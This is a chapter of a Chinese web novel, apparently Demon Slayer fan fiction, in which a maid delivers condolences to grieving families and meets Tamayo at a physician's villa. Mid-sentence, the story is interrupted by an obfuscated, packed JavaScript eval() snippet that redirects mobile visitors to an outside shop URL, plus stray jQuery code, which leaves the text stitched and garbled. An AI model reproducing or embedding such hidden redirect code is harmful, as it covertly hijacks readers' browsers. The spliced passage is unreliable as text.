10. 慰问
    第二天,天蒙蒙亮的时候我就带着管家给我准备的钱财和行囊就出发了。

    我和门房打了个招呼,就牵着驴车出门了。

    此时霓虹道路狭小,而且陡路频繁,马车并不适用,而毛驴在后面托着二轮车倒也还算适宜。

    毛驴显然也习惯了一大早出门,它显然忘记了昨天对我的突袭,还热络地往我的手上看。我迅速地躲开,将一些重物往二轮车上放,而后自己也上去。

    樱和另一位下女的家都在离城不远处,我于是打算先去那里。每到一个路口我便问路,循着路人指的方向前行。

    城中不少家的门口挂上了白色的纸幡,有些人家里面还有诵经的声音,满城弥漫着哀乐与东西焚烧的味道。而随着我离城越来越远,那种哀伤仍像一双无形的手在牵扯着我。

    我掏出了昨日的椿饼,一时间怔怔。

    出了城,毛驴顺着路慢悠悠走,轮子硌着路上的石子,晃得我一机灵,还好椿饼还紧紧攥在手里。

    “小心点走吧。”我拍了一下毛驴的头,它不满地揺了摇头,鼻子里喷出一口气。一抬眼,我就看见了不远处的村庄。那里应该就是樱和阿春父母在的地方。

    靠近了村庄,我内心反而有些犹豫。然而毛驴和我心意并不相通,它依旧按着自己的步调向前走去。

    在这里已经不需要再问路了。

    村庄的房子普遍不大,若是房门大开,便是一览无遗。

    路口的两家纸幡随着风轻飘,穿着白色粗麻丧服的人们低声交谈着,看着小小的灵位。有位老妇人更是止不住恸哭,有一个佝偻着背的老人轻拍她背安慰她,只是面上也是一片沉痛。

    这应该是樱的家。

    若是按往常的习俗,死者都会在家停灵几日。而是樱的尸首状态太过惨烈,是以家人只得匆匆下葬,以灵位代替。

    眼下人这么多,我不好贸然进去,只得带着毛驴左右打转,在附近草地上吃些草。等到宾客差不多散尽,我才拴着驴,带着东西来到了门口。

    “您好。”我看着望过来的老夫妇,微微躬身说,“我是与樱一起在产屋敷月彦宅邸工作的下女。”

    一听到樱的名字,老妇人的眼泪又再次涌出,我有些无措,半晌只能憋出一句“请您节哀”。

    老妇人好半天收住了泪,她的声音有些沙哑,“好孩子,感谢你来看樱。”

    我不知道该怎么回答,只是摇了摇头,拿出了管家给的一部分钱财,“这是府里给樱的,她是个很好的孩子......还请您节哀顺变。”

    老妇人没说话,一双含着千万悲恸的眼扫过我,又轻轻垂下。

    她不接过,我就继续捧着钱财,眼睛越过了她们,看着樱的牌位,忍不住开口,“如果可以了话,能帮我把这个也给樱吗?”我拿出了怀中的两个椿饼,将其与钱财一起递给了老妇人。

    旁边佝偻着背的老者苦笑一声,眼眶有些发红,拍了拍老妇人的背,将钱财和椿饼接过,“多谢你的好意。樱这孩子她一直很喜欢这些甜食。”

    我不知是怎么走出这个小小的家的,我只记得离开后我听到老妇人又放声痛哭,“呜呜,樱。这孩子可是最怕疼的啊。”

    我不敢回头看,我只是机械地又走入了阿春的家,送出了慰问的钱财。已和阿春订婚了未婚夫一直安慰着头发花白、哭得撕心裂肺的老者,我没有久留,好像这样就能驱散心中的郁结一般。

    逃也似的回到了栓驴的地方,我催赶着还想要再吃一口的毛驴,匆匆赶向了下一处。

    医师的家离这里还很远,大抵还要翻越两个山头。驴车颠簸,我盘腿坐在上面,拿着顺手扯过的野草,又开始编起了东西。

    曾经鲜活的生命骤然逝去,让我实在难以释怀。虽然与樱和阿春还有医师相处不长,但是她们确实是普通的好人,实在不该,不该就这么被夺去生命!

    我缓缓从口中吐出一口气,只觉得内心有火焰在燃烧。是的,比起沉痛,我更多的是一种愤怒。为什么这个怪物可以轻而易举地夺取普通人的性命,他不知道有多少个家庭因此破碎吗?

    他制造的恐惧阴云盘踞在所有人的头上,以至于遭遇祸事时人们只能恐惧无助,再叹息自己实在太不幸了。

    可是就应该如此吗?

    我深吸一口气,再缓缓吐出,试图化解心中的怒火。然而,这种愤怒一旦被点燃,只会随风增长,成为燎原之火。我闭了闭眼,放空大脑,闻着山风的气息,再次做了几个深呼吸。

    风声送来了什么动物的蹄声,我睁开眼睛,看到远处岔路口有一辆牛车驶来,旁边还有一些守卫。

    是什么贵族出行吗?我看着他们前进的方向,眯眼望去,应该是山头的一座寺庙。

    那么医师的家也快到了。据管家之前所说,医师家就在那座寺庙的不远处,是一座山间别野。

    我没有理会牛车,回忆着问路时路人的叮嘱,往另一条岔路走去,没多久便到了一座山间别野前。

    这座别野比起产屋敷月彦的宅邸,显得小巧可爱,颇具风雅。门前的有白色的野菊盛放,随风摇摆,珊珊可爱。

    医师家的宾客十分之多,即使到了现在傍晚十分也还有人前来调研。观察他们的穿着,有些好像是周围的村民,他们穿着破旧的白麻衣,神色肃穆地来为医师哀悼。也有从牛车下来身着黑色麻衣的人,他们在护卫的簇拥下进去,又在侍卫的簇拥下离开。

    我看了一会,牵着毛驴一起向宅邸走去。门房显然认出了这头毛驴,他是个年纪较大的老翁,迈着跛脚朝我问,“你怎么会有我家大人的驴车。”

    毛驴亲昵地朝他的方向走去,我拿着手中的信物和钱财,向其解释前因后果。

    “竟然是产屋敷家......大人本就不该与他们再有什么牵扯的。”他嘟囔了几下,让我与他将驴车放入后院后,又请我去了前院。

    医师的尸体应是较为完整的,因而还未下葬,而是停灵在一个内室。我将慰问的东西交给了管家,也打算去上前哀悼。

    医师身着一身黑袍,静静躺着。他的脸上覆上了一曾白纱,或许是死前面色狰狞,因而亲人们选择为其遮掩,让其体面走去。这里的人们大多面上带着哀痛,低声交谈着医师生前的善举,哀痛这样一位善人居然遭遇如此不幸。

    我安静地凑在众人中间,一面盯着医师的尸首。如果我没看错,他的后脑上有一条极深的伤口,倒想是什么刀刃造成的。

    怪物也要使用刀刃吗?

    我不解,抬头发现有人向我走来。

    那是一位秀美娴静的女士,美丽柔顺的黑发由花样式的抓夹盘成了低低的发髻。她的身后还站在一个小男孩和一位俊美男子,看起来是她的家人。

    “你好,我是珠世。”她温柔的紫眸释放着友好的信号。

    我也立马回到,“我是李。”

    这位珠世小姐我曾听医

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538195|142476||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    师说过,是他一位在药理上颇具天赋的远亲。虽是远亲,不过两人关系还是较好,经常交流一些药理上的问题。

    那看来找这位女士来拿取药方或许比较合适。我与这位珠世小姐说了产屋敷月彦的需求,珠世小姐沉吟片刻,点了点头,带着我走向了一个房间。

    一打开房门,映入眼帘的便是几排书架,上面摆放着诸多典籍。珠世小姐贴心地替我取了几种,放在我的手上。忙完了这些,她看着我,似乎有什么话说。

    “您找我是有什么事吗?”我十分感激她的帮助,立马打破了沉默率先发问。

    珠世小姐温柔地一颔首,微笑道,“产屋敷月彦大人的身体如何?”

    嗯?产屋敷月彦那种人渣还有人慰问?我微微瞪大双眼,还是老实回答,“比从前好了许多。”虽然脸色还是差的离谱,在我看来是一种活人微死的状态,不过出门在外我对于老板还是勉强留几分口德的。

    许是看出我的震惊,珠世小姐接着说道,声音带上了些苦涩,“是嘛。其实是这样的,我的儿子身子也不太好,我尝试了许多种办法给他医治,但效果都不太好。医师一直给产屋敷月彦大人医治,我想着若是有效果了话我也想要参考一下药方。”

    顿时,我觉着手上的药方烫手了些。

    珠世小姐抚慰道,“如果方便的话,能否再停留几日,等我将你要拿去的药方和典籍重抄一遍后再请您拿走。”

    我当然没有不答应的道理,珠世小姐的态度十分好,要求也很正当,我无法拒绝。

    “不过还是烦请您帮我叫人回产屋敷月彦的宅邸内通知一声要晚几日。”考虑到产屋敷月彦的暴脾气,这个毕竟还算他的私活,如果没有通知,可能又要莫名暴怒殃及下女们了。

    珠世立马点头答应。

    “如果还方便的话,能帮我去xx村告知一位叫织子的女士最近妖物再出现的事吗?”我忍不住出口求助,有些担心织子阿姨他们。

    珠世小姐并未犹豫,她立马答应,甚至还连声感谢我,使得我都不好意思起来。

    由于天色已晚,珠世小姐便把我安顿到别野内的小房间休息一晚。我这才知道医师也就珠世小姐这一远亲,并无其他兄弟姐妹或者其他子嗣,因此他的医书甚至这座别野,可能都要归属于珠世小姐了。

    这使得珠世小姐富上加富,然而她为人谦和,与医师本就亲近,因此并没有什么人跳出来反对。

    反而是下女和侍从们知道我是从产屋敷月彦宅邸来的,对我倒是颇为冷淡。我虽然不甚在意,但是也不打算触着他人的霉头,在房间里百无聊赖地翻着医师的典籍和药方就当翻字典。

    青い彼岸花(あおいひがんばな)?看到这一味药材,我脑中有些疑惑,青色彼岸花或者蓝色彼岸花?话说回来,彼岸花就是石蒜花吧?原来还有蓝色的吗?

    我在脑中想象它的样子,却觉得就像喷染的蓝色妖姬一样有些猎奇。

    在这座别野的第二天早上,我不想触了大家的霉头,便向门房打招呼一声,便打算去外面散散步。

    可恶的人渣产屋敷月彦。我一边暗骂一个人渣老板的名声能对打工人造成多大的影响,一面漫无目的地走着。走着走着,我便看见了昨天见过的寺庙在山林间露出庙顶。

    都走到这了,那就去瞧瞧吧。我顺着山道蜿蜒而上,突然看见一个熟悉的身影--深红色高马尾的小萝卜头。

    是缘一?